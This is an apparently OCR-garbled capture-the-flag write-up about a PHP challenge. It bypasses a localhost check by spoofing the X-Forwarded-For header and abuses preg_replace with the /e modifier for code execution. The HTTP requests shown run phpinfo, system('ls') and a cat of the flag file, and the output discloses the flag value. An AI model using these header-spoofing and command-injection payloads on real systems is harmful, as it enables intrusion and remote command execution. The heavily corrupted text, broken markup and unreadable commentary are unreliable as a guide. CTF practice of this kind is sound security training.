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charset="
name=" content="
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input type lay-skin lay-text lay-filter
{{ d.id==1 @ee3 2 1}
</

charset="

layui.use( , function() {

var table layui.table,
form layui.form;

table.render({
elem:
url:
cellMinWidth: 80,
cols: [

[

, width: 100, unresize: true, sort: true },
, templet: 1,
¥
, minWidth: 120, sort: true },
, width: 85, templet: , unresize: true }

1
page: true
1)
1)
</ >
< >
layui.use( , function() {

var element layui.element;

element.on( , function(elem) {

layer.msg(elem.text());
1)

/><br /><br /><br />
style="text-align:
<p class=" ">

/>< />< />< />
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if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {

echo "< >Welcome My Admin ! <

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $ GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

}else{
die();

I AbfEfEpreg_replace i, iR R B FEMNSENRH

AR : #ZKsubjectt ILACpatternf)#R5y, Llreplacement#EAT & #t.

AL B &% B2 fepreg_replace H MU fe B, SBURFHITHONE. BRAY, patEMsubfEiE, reploRERLIIT.
XFFSU$127.0.0.12 5, GET#R=A2%. XBEHH T preg_replace® . 3 H &AW patifh 738, A7 LLRT A& N "/e" fil K I
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Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

EI ET /index.php?pat=/test/e&wrep=phpinfo()&sub=test HTTP/1.1 I
ost: .198.29.45:43970

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html application/xhtml+xml application/xml;q=0.9,*/*:q=0.8

;:—cgzt,_zﬁggzig;—m;q:0.?,zh—HK;q:D.S,en—US;q:U.S,en;q:U.Z P H P Ve rSion 5-5 . 9'1 u bu ntU4-22

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: PHPSESSID=4m6pj7tviktvec0cmf13bdqa63
Upgrade-Insecure-Requests: 1

T

e System Linux a43bcBdBfaBS 4.4.0-131 -generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 xB6_64
Xffomardedffor: 127.0.0.1 Build Date Aug 4 2017 19:39:57
Server APl Apache 2.0 Hancler
Virtual disabled
Directory
Support
Configuration | fetciphpSfapache2
File {php.ini)
Path
AT LT
SR 5 18 F system(“1s”) 2R IREL 14 B 3%
| Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render l
|GET findex php?pat=/test/e&rep=system("|s")&sub=test HTTP/1.1 I s //SHilhoverdR, “HFEFEE, FEEHelementizit E
HosT TTT. 198294543970 i = =5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) element.on('nav(demo)’, function(elem) {
|Geckof20100101 Firefox/68.0 //console.log(elem)
|Accept: text/html, application/xhtml+xml application/xml;q=0.9,*/*,q=0.8 layer.msg(elem.text());
|Accept-Language: h:
zh-CN zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 HE
Accept-Encoding: gzip, deflate </script>
| Connection: keep-alive
| Cookie: PHPSESSID=4m6pj7tviktvecOcmf13b4qas3 <br >Welcome My Admin! <br >css
Upgrade-Insecure-Requests: 1 index.html
Cache-Control: max-age=0 index.php
X-forwarded-for: 127.0.0.1 I j
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system(“cd+s3chahahaDir/flag+%26%26+Is”)
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</body >

< fhtml>
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GET

[a 1

index.php?pat=/test/e&rep=system("cd+s3chahahaDir/flag+ %26%26
Is")&sub=test HTTP/1.1

1
|I’ page: true

Host: 111.198.29.45:43970
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0

Accept:
text/html.application/xhtml+xml,application/xml;q=0.9,*/*q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: PHPSESSID=4m6pj7 tvlktvecOcmf13b4qa63
Upgrade-Insecure-Requests: 1

-forwarded-for: 127.0.0.1

0
1
</script>
<script>
layui.use(‘element’, function() {
var element = layui.element;
//Shihover@R, “HRPFMEE, FENHelementiziz
/SRS
element.on('nav(demo)’, function(elem) {
J/console.log(elem)
layer.msg(elem.text();
n:
K
</script>

<br >Welcome My Admin! <|br >flag.php

</body>
</html>
|
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
GET - element.on('nav(demo)’, function(elem) {

tindex.php?pat:/testle&rep:system(“}:at+ s3chahahabir/flag/flag.php I !
HFERA

Host: 111.198.29.45:43970
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept-Language:

zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: PHPSESSID=4m6pj7tviktvecOcmf13bdga63
Upgrade-Insecure-Requests: 1

X-forwarded-for: 127.0.0.1

B3R B flag .
B4

//console.log(elem)
layer.msg(elem.text());
hH
B

</fscript>

<br >Welcome My Admin! <br ><7php

$flag = 'cyberpeace{9bf346623c69ace716d5a3252c2c5892}";
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